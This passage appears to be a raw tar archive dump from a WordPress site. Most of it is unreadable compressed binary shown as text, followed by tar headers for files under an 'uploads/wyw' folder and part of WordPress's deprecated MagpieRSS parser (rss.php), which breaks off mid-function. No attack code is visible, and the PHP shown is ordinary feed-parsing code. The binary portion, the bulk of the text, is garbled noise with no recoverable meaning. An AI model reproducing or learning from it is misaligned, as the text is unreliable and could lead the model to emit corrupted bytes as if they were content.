M:[i|XB.$!Yq>=,Wq*\i	"Eڬ]&84(4M1NPPi@i
UJINUc,95[kr}0T"Mz$MDN8>&+󒛯Lqh<H`H5P܋`_|ޏ
BMeb)\zᜬZvsaJ@zf=9I=eeN`a/COT~׀ҽG☻i{nd~&6,l;`79=N 2=:yO[?!:G=eQN>Ο_My PN@l8.
yr-hȀrogrsq+/
._elkAeg"⸷NOY|DA/t2`,3}ݩv0`ME@89[NNϨ!Թ@]ܽ?~)r){iZ^43YY՗yMR4Jk",;oWtƐ}h[^+8Oi (@TL4glMw^?'w?w@7蹂GOx{nGkG:966n`\,@~NyWl6Q՜`yMǨ-iT/XsJ{qyKRza>NLNYv4<TO#~k89D#/B䒜vUdA{VJAStHV'`N׍CW/z$RJ`Ǹ#;qZDP<'uߡ!%dҴE3-Ώ'vS.`uԱ`3<Zݘ?vE&wu{〃D4kqF3ga$UEa`!ԨX.1à" +i)2f`5b;(.OyũWD*8)I^VliOt'ANZYɶ_
oewa3?;0
1g̨0W*di¡0<cvjDa@ONwݼNM	4&a9ɾm8#.ɬ-}
Fˤ{)췏λm2utvSGnہwB,ciwbĈl`uھ5nW[Dz
o9)BpfEH`.y w$XJgAS"FNet0xV-OLghTL
+u'׽0[[\ؐMͽwi7㷎Cg}'k~p낾^Ku/vyV>Å~O=I	`biNA$\ϿMm"B;FCǸDnJ5>(%%YqrT&ŋy}$2]IO2H9YPtSO0XsB
	6sc1jlcT18INl:w4g
H*Gka;1GReWy3狩%(w7\yJKֲ:ǎ"//#5~n[
*1h>>s$gn^
-=_h/I?&	sdW?u1BxGPF~d=s^[PI>'Am U'o<20O(#"BwPPv';8A10op}w~9ȯ$HZ1a/h0:ϫO.SCoCRaeE^f~UJWTr4↔
0DswVFOIq|i9 :?Χpo etewS6)znwu4CKp[^d2;
Do_:w:Xa9P<;?΀PQ:OgDB?V.11[1mb)*M$R<b۸9FIC.cssP_L_xC@9	6@hN(?29d:_i|d^m`SvliNrAJy^*F`Ak@WRzf6D"N'>88o]?pME`nr㮭]]s`Ľ!
oHu~
@Ă4.RxG5yVxN>AǗ/`yx<qʃmsيZ_S
qi|F~o<Gb4ڦ| 7 5g(&LS||9I"+T\`ĈE1ĘJIW21pV9Ƅns@Ƅ6_ TM&1%2/J
_4juvF|xG?`GZ@Y(bԜLS
#ፘU93t<RQxY>^rL*=Q#Aḕ-i;hNIMH;f|wbEwYeO#g=ϊ@TUeZNqr|R1s^V\{VK{dU;"֪Fi5󜘐e8
V]ڔ_r
li0qY{kXrU>Pw5sc݅$QUȤ!A;sb?&2)[g%;&H'R/Hքӎ}j)@MTr*RpSkw>L6.)PK'R[a6Xxk8c5uL:*}xFzv=]ӈw3|`8/4;L>mřc)V$p67mc5ڌϯ+
	.Xn2/l{XY=HNwiTMVRp8ZW,}vUc(卍Ѥ[eףKXUw=COm<FT9~̌18jfhJolHr7.>zpqij	ꂋN=jbSc a#GK`ob[.c4jiwh)a9Bx;LiT{)^1(SD;.˼vwlHӬAXb.R;ǦI3kE1_R>ڜL`{NYm-h$O mi.Fr(ٸCL]?m6g1Q'u ]2!\oe]~וֹwZH'6fM/QL|fnwE&brmJL$ik#fw:ύ$~"'2cLgG~ˋ/1ݶ&N+p8Sn݉o2q٬F|96Ti9o2Un) z[~72kb#6\>شbQE6īJ
N.|V
}/WO8nᱫ?-7\:W(~yHn|`kZxrve`!,'9AFdR9Y㒗@}j:Pgާ\EC'!H_4	GsS-Y҆h_z@GCx>)Y%rXoN$ϋhz30v0o
AchwbȘ`ݍ	Z*
8wmZ8舾(V>4ml
P`ÎЄёy [n\.?<_2H^ZF~(GpH/XGo>:|_{MI҅Y9}(<y'dz
;+HK#,]ß*Տ;/]StYKYmۺǂ2
.
AwK¼M os
Ǯ>l64BP.&m;5̝0eH᱔-JP$
in$Pf_=mM,o3:&ub묑úy,;4%W)0ԩݮM6zK+ێʚ͸ijV[埵rZ:jO3]Vp*VoVYecjRcWÃ{~zh޲a#{~K
bw
w3Zlw*k[޵؆z|dUhtJDcsP~:3a~AY*rYcG{&XEL?w;x(pf.tVrWս'_s27PM\a_A#w^#6z\>L,5zw~QG3%ύ0NK*Hj\߳%	ZQ%x4
'|#LP'6.6z$>zh`gCbXwqx4CmxFoy0kyk	4df<j$F"9;FZ&rA'{4_
㴊i7p9Ht|'Y!83L$=zuˉJOlHƈFdHrG]RƁeQ=~3 YYG]uLHzo4hHHfZ2Zr$';z@q-jֵ	$zDbMHP1ErO2ehvpK`?awx`s};SqteT	Y2V|e;Ebբݾp:r:giD^ǑGt9\
5Jko	5|MAsl#
7X=;z,/鑇m~g\U܇Pj)zIZ5A|wGH,Ƀo*o"}/Ib1s>O! r{KYʏTO,IeS	a!fj߄UAZuÁ	0,&YU5ztpC+@0'D^WP'}T	G%BNr*ȍxv9\urXWTZvi7$Jרڢ-2z0)
}Pȁ&G32*β
eQHFГa_h(KS٢S]E"8X7Iwbl)c=yݹ\
ĭX4)2pksJܘ)d]Y_W/Z(T_z4\DEy/o=`Ks]kUCSѿuH0~V\J	ۢ'ՕdkHֻͫ?cR?r/
&m_y+41ǿwe'QQN<}-(IJgA]gb 
!zk CrI#.ݥbv*_ZLVvbecXpM'蜚ǒiy[[R'٨me@߹-m1:AM-;Z>D+<R˭^ҤBԇRukcG,0m*q,&Zi7v_{9ouc>PgDx5ʙA92!Ŝu85vUunF!6
l
ev\݃or_O3_xIQ	t_Wza1|<MK0φޱ2"HBPNL9	=`ѶZJ?'%sG'LNKɂ\^X3BŰ<дn<fd?vIܫp:So=[tMB\䩝sp3cWLyJy*; k7Yn<fjd4B&D`r5ƆY%89$&`'G
Q*Wt[#a3L&WD (;GO]X˞{/T/cZq&~}t0ulի	e-aZ	D/ø`+r
L3#ѣR+կ(CB~!2M}눉4:{+?
ɘ'XB?Ff0m'EV# gcr^UȨ괰^
\% oŏa'f/6d	'<'W-T0ğuG)MON-ޣ?"AGnAt9QB4k4h[Ϗ,Fh?
Vؕx-
}LFHxqZ]ms4=42W4h	sfW-IM"%	iiD'_-8)뎨J8v?WWO
GLlZ~[Evr,XCcegWonp̋|V{drEt!;\+䊻nL@*14F*6cLٕ{-r&7u0/r$!BrQvW-QʫϤ$=4߱9eԁҝ#Gt)H2$Il8d-YN9O|EZB,Z)m}k8FPZm/k}.I^cs0+mpw._AÆE,$Wr=1#0!qb!~qd//^miDl<awv1ےfN9v˹u27(~{ē,=g/|3\OPAj䐉Wa!Ғ1ܠD嫉mO.wN	lK1x}7bbeZ<;Y%g(9c4x&[
Brz+Ð;4m_3«rtdMN}6d+"SlU~Ji.ݮ&i9?AJib7zTwv:>L-(58B6WQߕ* SaD' |DfA6	kE-[6VFsExdֲni*Ҵ@30Bu0t_>VLJ
)͸\
iA`)8 f?@2!>jdg%OT
00gۧqQ{V},Y}6F9){4@S	/N͂ᐋ
k\UW(	a?͘O~ޱX縈)>T\ZWdh1U`-YzGVot֨.F+ܝNPn`m1Q-j
t<!.z
ç`g2?g-?Ք@K6bZgZb:w[jJt;u{Qc=Tu}\O.jh~O&m>͜:bYdXy,=ͱk|NS	_Fsy[R
d$`1-|\!}#	dU|8jz8v%A7K#.ŏLddUh@*0#JYpvб4mUnNfeQN榋$R(?t2"0FnaЭӐ/MNweB[kQ8-zd?:Z5rC}G=|^veQΠ&[ߺB%ԠI$I,?1\
tv*JMUדS:X7/}A&^~VFć\SPOMXR,S7v~sNb,rMke> 	g%I=9Osi?xQN:BkgCU]:1ӑd6i7Q
b9{G6홠Ucc	s lUK#؝PI6حeI
{qRV8|CXR;9-o
u0	6[&旾BOT}q2P8.$w0]':k^l-'
veL%n)udv?	8UB4
@YId@rA8Yt
<Y^+bIer2zR,KQu9Ó`8ͽE6W&2(HΌ~N5ރ]`ᚌ\f b+M^~h[% G.1%M58pk\pq'yl%*_<}Hq-gF>U[2r*ft6]i$?jo
5gIKŃ/7Ʋ9G<~KLMvЙǴ-|m ?C]4j̃Ύiގ~||bOieuU37&:4Vg~ycq!jJ6_aKȓ;
&M[>}HǍɟ3%
Y!7VctXJ[uGnL7 ؂L
w6Wznj90tƙeӰ&yҋF&%~x_i>@'d̝G6vH>}4bӀXfH/Mf䗎oŗskl^-re6@23y"dtRŃ&$Yfc(2'򚙯h<q\Tpڕ@b1ˡca{F8PJ<XS'ېG:L.*=
2-W'P7ܘI
20Ȩ@8&^8Q,GVt>lF{{7,'r^8q9XJ[\uyu9	VpR,jwh)B.Y:ʦ'T-p!p]1/0*ItH9LYy>(qgXIKR`,U]`@%p{tL.3`s
oZ0)'ODₛs nq=TbqYrD,
"G>"iҢ) ߼|!̏,kG{ WtkA!̱ы'z7ӽ\OsjƷUr.W&\EufM,X{PL-ڰ-]ԗŹCstZ=hΈՖzߘ{r}JFf
E)J?>6psd\iom6 75>~AQJMJs07GE%Xri::	}H&r.t>{òӤ>Mw[&2?=%?f_)o[!U|h^y4]iLq ^:ӚRX>p*P'b֌<+2ZuvZC+2>UI83׹x,4N}TlVuP-f
'%e_=a.[Y6[[nI?@qQ0xt*o-F\j!+D8ؾ^9a͹s oݐ;bw*A3@H-@SyPa3wV!B46K},"Ah(B`Gb]+F7ոVJ̱ͫmV&[}|ѱKxS5Gb2,aOL)r\{#iZ6Ra,2EAh0)DpѴH3:i?9S`)@URU[W9"Y.@5WyuyFC&(:l2<
ϋOTJ,ni8Ǖߊl]rd!,9o}U-G,HvA4V{Ɏfm[){
Slb/1*+BqAK7E7oN8.﬈hۑc)\2Pq%B:8l*ټX`Rd-c߲E7̀4^#(Ȅ*c&w]ubԀB-}*cܓŌ݄ûbgx~{m	|kYo?
W|{3Byh[wIΨ+WM^|jJ!Dnd*k&N61Kq4vVCMAn-YG:xg8`!INR*LXX][Mr\U5)
h]•A)@d ԩv|N36eEHyqc:4T#zyQim6+pyZ@6_sie5k3{	jC#B&6
n">Oޙ﬒S?6rԒ}g&֢<?ҋ!.wIkz%>LC}z~Xgi렓?\%iC*fpFĦՏ0nL>?_x|pGgOAFCK]c/qK^xn;:r`g%΃Ӳy~dAI_zw8]W|9O
Q{n%qԇNug.%D8;ݤ2ĥw2>oX#{zj7<uiM;OF_d訇	쎁=d4g7lqKd:\8TNʜ@I_"wpt*8L?v)\yA^j}B}:5wN2Tul0Ql.7Uu\^;͋
 PV[M9hf̩V'0\6cbEeupp8y>י˦J*KaE0}$$s覰
3Z1EN];N4?X(ѐ!,=	lD
īH<@p*1=JEAOqO
/%}BsVo>ﶷ~7~_>nnR:>e;P
uLYF'ÙVmϞ'~`~
70:t&	E9!4Tixe>1J?2mV>'obH4#}ӫdKf($apCwH6CwV#lI[۴CRL	C/5g-V|J5ywkNj+C(I;LnuIU,qmL/c4OA1M!ha%˾6ku>e[eiNg5W]3-4yet7y]ZֱñJ
:!sˆy;s6kj V(2&J/GS2G
20(d;IR<$T<7ReӺuG<§tF4G']םTцxOfUzSIZN1Q[]["lMu2j%
2hs *[]h](bOk^!hGyai>#sc&#DE򓇹qJh!sIBnͿQ#F!?VǢw͎6rݷ_v}rW`uogIS!)hQ}VPϐA"cY	DvLKы}v{vۥZ$y	b-jy3,)h|Q˥!CQ]17-ଆ_`vWYy9^;kpL҄[τ@PY~ͭ^1%dƘd:b3MO6< *3dd0ުfEz\/X邃4ͳIvLdp>
|9e>b.rs|Mcqsq/A8թ7<s)rDoW>Oޠ;CrL\Ϝ3϶w_lcO#-_գm<+%7pЭ~Z.p*`T+`fizH3ӂ4OlN$YjC:o8>	l&} ?_|yzC|y@(a0#e&Ӗ;5E150qxˍҵ(9$nM
鉜9zK_2ccC{jD88iy1DNFdDz(CX3K"@>/j,K{Bə8Bn<D$ad,'&@\=[֦|\bΛ,`*&݈'V
7/-	:\y+Dri'SjDɻ,s& CaGcϸ
0cX~+/<PIqHIa8B`̓bn0[S]E%j<>EЎ&IV,5hΛRlpOOyj$djj!,sɨ[` f()VMI3q'XjpWj=xgf61v%4gs3ȃ\hY:<*78@VvӀh^VuZ/C͉fv+fl&4-kpp3L$h9{ Mj>rf(sEsIPUl$)9o勞۟N}+vwݱE4Z4;A8?=׃]&1kC,ڃcp.\x;AxD 
)rV; knjہ!Q9K
(04:/ZYK%O2hJ[uH g~nΑlp
t2>᮷:)XFmż\zRqH6$Հ{}Hob
"h3X&(/Rp?vnD}֙jƊ9	4݆7h\sZ*Esd|$qy6:kܢgqD+lo$qp4S}yݻ	}lXrLCYādӛ6sw\ڻ L</	$8bB#$G#MkQhUj?T*3Ix\q|
49kޭ[ZiD
fSz7;]~F6q{:wC;_b %\ [(wMI"*}H ,0׆ȣc/^q
#	;M+z,|M>&(8I>-D{gi9&`Ob<E]"+KKw=^!wiYAϸ0gYېW8v0:R(9ӰFyVxN`j;-ss̡liG:N(3	DS5KGFBF>bXE`=‰m@wac]$QY(Ɇ)xOk[}2,ͧ7Bo+E?;K9=a]:uwNmNZiuN7@?/fZ2'VC/#&4ĉE;pA^RL7jI[BSMy9ō\z)(W@p#@Zlsc#Њ;1bTM$â(͵A;$667ιI93Ge1;ip^V?kٮpeNa,ⰽcPBnA*|6ny*%7fDNb%)	*ncU±c"L7p)e|E+Ƞ){8at["^Aܲs#MܾT'zJH{;0cq`lh1-
dR;!Z4%˜8ְy	6%j&aYy/b&܋|Ang0**fw{NqYmSף";0Z_$MI_Sdq9"
QaC1#cEh$VHJꐨR!A,bsr#3gt ]dP+@F#&^V#}G`$>!W?9z`S~)Or!0rG4ӝkߏ}I3o2N=#pz,OF-HƋEYNzo{*Em
7>'q\;߯Dןן_[Ruploads/wyw/plugin.php.tar.gz000066600000016443152443022640012272 0ustar00]ysƕϿԧ@,%GLVZ[fҺ\as M"}GhCer\ׯկ
L˙<dۋ<,?ȊI$+k1bm*y^eh>f!~yGGgGϟxzxn-~m݈
}gG?J'o2MNNNr"&pߗY.bMr*TR4YqIED㍬j,#m
L62GԹQu'Ydy,TmHHqg2A=(
^w|/f\I%/e%tyhx:$u-,i,0Y ϓB2ã0DTX&e!@(X֚bIzY4=#sZ29Yv&	'
 %ϊwɴi˃bF9*ds0E+Y䢸jŕk٦f9Qs;|Hg5wa$2yfdzeRKI\Z\VEYJ3a?xެ8Q3<rmk`Q4ek%(Dr.&>_0dG0}Lպ7m<}6:=:8HN@Fb(mC/g /OQ28 z	'e#4/עJ~8S=I:FYѨjX'^UI[5q@#L'~}E(3M(ڧ*jyڷ<KjAoHˡ	)};֕iGZHZmDgjjN\9}0+rmaMQ$=qͤ
:xd:2Ȋes|ibLD
=e0*dRxU,9\eײPA$)jZЪ1.l%*B.O.K>b1}loLwsl
2	X^}BёKE	EwBjQ	w
ע1ρkH1ܯys}gJf/=h<z3]nDΛ*g!*4eYQ]Q4r
rZUR/ַI	WKjKm{ԹSP1hQ% #C'Gm83i vw|4=JedN #h(Өl
.G۠ji?eMJ}~0D4\Lx=5!ȗ$钚Sc+&),i]HhA0(yPZ+69=ty}^2@"|b13zo4Հl1-zԠ] ]Qԩm$OqfxwG}N/kyἬ"t"%7oLn*!_Dqi<F򱷂U涩@`Bt(_큚ɯSiXZsJ8ʼnAUX\6y@LMrj	+7'hY(~P͐I9=x<.ț,Zhs9J00	h3'J4M|l\K(x@/)GA,`ɮytpUiג*pBTyC%oU̮rJLB-w*xbI9h-X|k&m.i򽜴bxr)*y(MEY\>7btWKLԦH,QjNݛ67^Or\+Pӵ--9YZ]:vsBp5NߺG׼~K)V^#; }ɟWgHȹ#Gw}sF-/,RDm켸T߲EJ8$ }2c:w8$[oASCn/i<]FCzB[.36*FݰfcRSZ
37}vfidgO{[-uhn(<!Ϳph\.ѽCy`eY'⢼v.O:Ei̤yV%UmW9}&:T|->Όe5T=3~6ptW>v
9n4UWx2]^(D-f3Y	EZ6ZYMY)=U	[4丒Gt*R>9a՛+*X]]M/Vr N*knISz?ê,{ӥoi7qSb`Eh0}F\RdLhA*^&L|ZFSx7w&``*;]*e@> 
54ώ?qgD
<
+t>_Ͼ(gsXf]d9d.WjJ ('I|,_K֧wr;;cx5aIY[fqgjy9Wo\gbj}'AOk5Œ3mQOK]c^ǽ4εB1nӡf;1X?Àf.I)D.JdN_J"t.<}X*'ƹjx+0f*5d(}3qٸcC0[GXښ,x=%ӝF+U-?GWఈOKnAǶsW~#^zzrQ@Z&lRE(95a=%A"`$ۢUH4;KeHde82Ŋۑ^W?0!XN/l%	JsJq
bUWq͗b%&!jVBx[%A_%mߗgc)]7H0^aZi5Z,Z^z/gYƿ0k+C^2FC0(_xw:à1ˆ*J0i/{Vdz4٥_&p&u5.@hncqQB5ku?a$J3n`hx c|FIu~Ν&Ut
Ik9w9JYy-%ki
"Jf9^wu@HP1TI<
'3}VDөPNhά	<1d>"
Z۫Rr58%íd

Ilb\,wˊxd'.Yx=WwfK΍mM\ETjpwnjmF.OL_ha~m\##A26fW؆`맻D64:[B_S%2 5pn{ZLeRzZ\Zvy	䅁*ST]I_|;6zX |DuU-d)~݆ 8~n0쳴˔7#׺,j\\i?(*mJ~5xJV>sQ:AMŻ@|BVGH
Iql4 n2d(RrYKk$S%Vu'OiZn+:5]LJ%a<ai˶~f lĜq.,\$.D7b3n٬h(Qot"OC˦0Nq_eMײ"egsB8/+MOCBXp<ϯ&נƹ$V -ؚ,&TMLݨci	T#Ybp뭕-={| o97ުP"Zr݁|U&f*xO;{~=ۂ1k!!Ԍ,	Mv9}EvƆǐ
}&Ӎ'Ά^MQS`Ο 8EiJCU,.pᦰوDMh\>A3+>g;dn4nG'W-Wchgae{3z0-{vvk ϊm!zgȶpz閠8^o[CbKÌlɵ4No*&48I:قXHcq7Ao0NK:$ƴQoL'X5'ܡH78&~/b&)XHͷ
+$ѳe `2>Xe {L巚T_s=LpiYEàyIlyR
VO`?`~阧{:=]c`Uj2-R3u|S갎1)ۢ	h^sy\^&"BT)u未rϟ2gG\.M|bH쐄a]{4εwF;M5A=W-Xe7?ƇˉM}^+[$aD3A{pw
Dׂ]Y^UZpJ-y[߿_\Sm^IEnPw
%n@^=|
7FQiQ#mgpL*tN_?_l+̢PYp՘ESfc1h=E9p#+Eg)E#
opF#Z#hD-R[ts1+`'~[XVkV
PAٷZa7:M7ns//2/a1Ӿ}be?*i'U[rNpVܷmé~=ɔAXH1%>&v8C@ԋGyj1u*z}DzC-6*$IK=z,վmb~%bիS$MWu.xQbt_`L
'F+3G#
st܈~Q
0/G1PEmc$ɉyPr@F!krdP
}Y+-q;Ae2PrBR0%'Hi[C1D_x(dG{uЗJpO4
"Q%m1N&ܗylz9Hώ2v+=xdr/ΣXÑGHݣG2в7fs>/u)A?7[F6IXwi5Qog%݀Wix"\A&U9M&2fZ
`ص6A9S})^OP4O)JwFf'T&hcR3!oev4h܇p7ͪOK"; 1~iUCY$j#Wy7}k眰U<$ov?kEwgi꛷A;P_p\.&Y=9%ҙ0ȫ7HM?.O&f Ǹ'Skzq(uM}&f'~
˺̯q3ULx(O}w+fӴe1V٬
X4O(3k=lFXG@+zJ,byÂC/ЧtaG	zRYErs.Ľ<WV2`n4N>;<7㎤>|>GN~!Dg'nKB-?_trP%(:6=U"@_碞Xӯu&i)g%w{~,˪&Zx
6c9&]_\h[SW~މs\WrZص!#SըZ72e@u/+g䛯zʼntaT蚿e6ƇmY&Hɛܝ^RnInhH̎<bgR~Ӛ_'Oh;`	~ˊkڰEtL?XXtpՌcoUcHS1'u4	uQs;*f*7=uڳ.P4\`v%$T&M*KGH2p˷͎FN$>NжpklTVNaN6rJ&yͥ1K)!
y6kj_rI-b@w?MC~Vͪ<JWP"I
~&B٥_Vpܺv6x,kPVY\IOU=:7)Gv
g;P7YrO[%S|=kކIY^,Qhi20\`G—ej|_|n`|0k%FJgb*?|o__C~J^0&ωܬ=SVS7Y"]
mR|ֻUF$k5B\W#̦3(%kƋ,pQoN}=/b4Or|Dw83Mg?_?xhG90NG\mʼ6 7x%k42+El>8pyX׳ή5P.Cj0ϞӍ~pt^BBSaK(4=Vu6J6;isS+D2aNUbgt)/l$Ьq%?)o_*l'઴swwaMVJ#(eK
ü)CwWsyluҋQј`۵tm=
K|OoF_%9S^;Y߇P7
Ơ~gU{;0Qw0:A45Dr}fs|R8mӫJOt,_(
Əd#@Zk&;ar9tKG)6ͼ~yphiwGeuul?,Ԋ3o~wy'-RyBt~KSE	_ t;xa.]zZhj>FWsR߭N;xno+ˣm@N.{DF2p/؇Qf\I81M]83)nLDzA׆|uK~.+&Px@HB`	v*}^es[`n@IB:#ӟ:i8{w˗H_vI~{uploads/wyw/rss.php.tar000066600000061000152443022640011151 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/rss.php000064400000055243152443016140017414 0ustar00<?php
/**
 * MagpieRSS: a simple RSS integration tool
 *
 * A compiled file for RSS syndication
 *
 * @author Kellan Elliott-McCrea <kellan@protest.net>
 * @version 0.51
 * @license GPL
 *
 * @package External
 * @subpackage MagpieRSS
 * @deprecated 3.0.0 Use SimplePie instead.
 */

/**
 * Deprecated. Use SimplePie (class-simplepie.php) instead.
 */
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );

/**
 * Fires before MagpieRSS is loaded, to optionally replace it.
 *
 * @since 2.3.0
 * @deprecated 3.0.0
 */
do_action( 'load_feed_engine' );

/** RSS feed constant. */
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);

class MagpieRSS {
	var $parser;
	var $current_item	= array();	// item currently being parsed
	var $items			= array();	// collection of parsed items
	var $channel		= array();	// hash of channel fields
	var $textinput		= array();
	var $image			= array();
	var $feed_type;
	var $feed_version;

	// parser variables
	var $stack				= array(); // parser stack
	var $inchannel			= false;
	var $initem 			= false;
	var $incontent			= false; // if in Atom <content mode="xml"> field
	var $intextinput		= false;
	var $inimage 			= false;
	var $current_field		= '';
	var $current_namespace	= false;

	//var $ERROR = "";

	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');

	/**
	 * PHP5 constructor.
	 */
	function __construct( $source ) {

		# Check if PHP xml isn't compiled
		#
		if ( ! function_exists('xml_parser_create') ) {
			wp_trigger_error( '', "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
			return;
		}

		$parser = xml_parser_create();

		$this->parser = $parser;

		# pass in parser, and a reference to this object
		# set up handlers
		#
		xml_set_element_handler($this->parser,
				array( $this, 'feed_start_element' ), array( $this, 'feed_end_element' ) );

		xml_set_character_data_handler( $this->parser, array( $this, 'feed_cdata' ) );

		$status = xml_parse( $this->parser, $source );

		if (! $status ) {
			$errorcode = xml_get_error_code( $this->parser );
			if ( $errorcode != XML_ERROR_NONE ) {
				$xml_error = xml_error_string( $errorcode );
				$error_line = xml_get_current_line_number($this->parser);
				$error_col = xml_get_current_column_number($this->parser);
				$errormsg = "$xml_error at line $error_line, column $error_col";

				$this->error( $errormsg );
			}
		}

		if ( PHP_VERSION_ID < 80000 ) { // xml_parser_free() has no effect as of PHP 8.0.
			xml_parser_free( $this->parser );
		}

		unset( $this->parser );

		$this->normalize();
	}

	/**
	 * PHP4 constructor.
	 */
	public function MagpieRSS( $source ) {
		self::__construct( $source );
	}

	function feed_start_element($p, $element, &$attrs) {
		$el = $element = strtolower($element);
		$attrs = array_change_key_case($attrs, CASE_LOWER);

		// check for a namespace, and split if found
		$ns	= false;
		if ( strpos( $element, ':' ) ) {
			list($ns, $el) = explode( ':', $element, 2);
		}
		if ( $ns and $ns != 'rdf' ) {
			$this->current_namespace = $ns;
		}

		# if feed type isn't set, then this is first element of feed
		# identify feed from root element
		#
		if (!isset($this->feed_type) ) {
			if ( $el == 'rdf' ) {
				$this->feed_type = RSS;
				$this->feed_version = '1.0';
			}
			elseif ( $el == 'rss' ) {
				$this->feed_type = RSS;
				$this->feed_version = $attrs['version'];
			}
			elseif ( $el == 'feed' ) {
				$this->feed_type = ATOM;
				$this->feed_version = $attrs['version'];
				$this->inchannel = true;
			}
			return;
		}

		if ( $el == 'channel' )
		{
			$this->inchannel = true;
		}
		elseif ($el == 'item' or $el == 'entry' )
		{
			$this->initem = true;
			if ( isset($attrs['rdf:about']) ) {
				$this->current_item['about'] = $attrs['rdf:about'];
			}
		}

		// if we're in the default namespace of an RSS feed,
		//  record textinput or image fields
		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'textinput' )
		{
			$this->intextinput = true;
		}

		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'image' )
		{
			$this->inimage = true;
		}

		# handle atom content constructs
		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			// avoid clashing w/ RSS mod_content
			if ($el == 'content' ) {
				$el = 'atom_content';
			}

			$this->incontent = $el;

		}

		// if inside an Atom content construct (e.g. content or summary) field treat tags as text
		elseif ($this->feed_type == ATOM and $this->incontent )
		{
			// if tags are inlined, then flatten
			$attrs_str = join(' ',
					array_map(array('MagpieRSS', 'map_attrs'),
					array_keys($attrs),
					array_values($attrs) ) );

			$this->append_content( "<$element $attrs_str>"  );

			array_unshift( $this->stack, $el );
		}

		// Atom support many links per containing element.
		// Magpie treats link elements of type rel='alternate'
		// as being equivalent to RSS's simple link element.
		//
		elseif ($this->feed_type == ATOM and $el == 'link' )
		{
			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
			{
				$link_el = 'link';
			}
			else {
				$link_el = 'link_' . $attrs['rel'];
			}

			$this->append($link_el, $attrs['href']);
		}
		// set stack[0] to current element
		else {
			array_unshift($this->stack, $el);
		}
	}

	function feed_cdata ($p, $text) {

		if ($this->feed_type == ATOM and $this->incontent)
		{
			$this->append_content( $text );
		}
		else {
			$current_el = join('_', array_reverse($this->stack));
			$this->append($current_el, $text);
		}
	}

	function feed_end_element ($p, $el) {
		$el = strtolower($el);

		if ( $el == 'item' or $el == 'entry' )
		{
			$this->items[] = $this->current_item;
			$this->current_item = array();
			$this->initem = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
		{
			$this->intextinput = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
		{
			$this->inimage = false;
		}
		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			$this->incontent = false;
		}
		elseif ($el == 'channel' or $el == 'feed' )
		{
			$this->inchannel = false;
		}
		elseif ($this->feed_type == ATOM and $this->incontent  ) {
			// balance tags properly
			// note: This may not actually be necessary
			if ( $this->stack[0] == $el )
			{
				$this->append_content("</$el>");
			}
			else {
				$this->append_content("<$el />");
			}

			array_shift( $this->stack );
		}
		else {
			array_shift( $this->stack );
		}

		$this->current_namespace = false;
	}

	function concat (&$str1, $str2="") {
		if (!isset($str1) ) {
			$str1="";
		}
		$str1 .= $str2;
	}

	function append_content($text) {
		if ( $this->initem ) {
			$this->concat( $this->current_item[ $this->incontent ], $text );
		}
		elseif ( $this->inchannel ) {
			$this->concat( $this->channel[ $this->incontent ], $text );
		}
	}

	// smart append - field and namespace aware
	function append($el, $text) {
		if (!$el) {
			return;
		}
		if ( $this->current_namespace )
		{
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $this->current_namespace ][ $el ], $text);
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $this->current_namespace ][ $el ], $text );
			}
		}
		else {
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $el ], $text);
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $el ], $text );
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $el ], $text );
			}

		}
	}

	function normalize () {
		// if atom populate rss fields
		if ( $this->is_atom() ) {
			$this->channel['description'] = $this->channel['tagline'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['summary']) )
					$item['description'] = $item['summary'];
				if ( isset($item['atom_content']))
					$item['content']['encoded'] = $item['atom_content'];

				$this->items[$i] = $item;
			}
		}
		elseif ( $this->is_rss() ) {
			$this->channel['tagline'] = $this->channel['description'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['description']))
					$item['summary'] = $item['description'];
				if ( isset($item['content']['encoded'] ) )
					$item['atom_content'] = $item['content']['encoded'];

				$this->items[$i] = $item;
			}
		}
	}

	function is_rss () {
		if ( $this->feed_type == RSS ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function is_atom() {
		if ( $this->feed_type == ATOM ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function map_attrs($k, $v) {
		return "$k=\"$v\"";
	}

	function error( $errormsg, $lvl = E_USER_WARNING ) {
		if ( MAGPIE_DEBUG ) {
			wp_trigger_error('', $errormsg, $lvl);
		} else {
			error_log( $errormsg, 0);
		}
	}

}

if ( !function_exists('fetch_rss') ) :
/**
 * Build Magpie object based on RSS from URL.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve feed.
 * @return MagpieRSS|false MagpieRSS object on success, false on failure.
 */
function fetch_rss ($url) {
	// initialize constants
	init();

	if ( !isset($url) ) {
		// error("fetch_rss called without a url");
		return false;
	}

	// if cache is disabled
	if ( !MAGPIE_CACHE_ON ) {
		// fetch file, and parse it
		$resp = _fetch_remote_file( $url );
		if ( is_success( $resp->status ) ) {
			return _response_to_rss( $resp );
		}
		else {
			// error("Failed to fetch $url and cache is off");
			return false;
		}
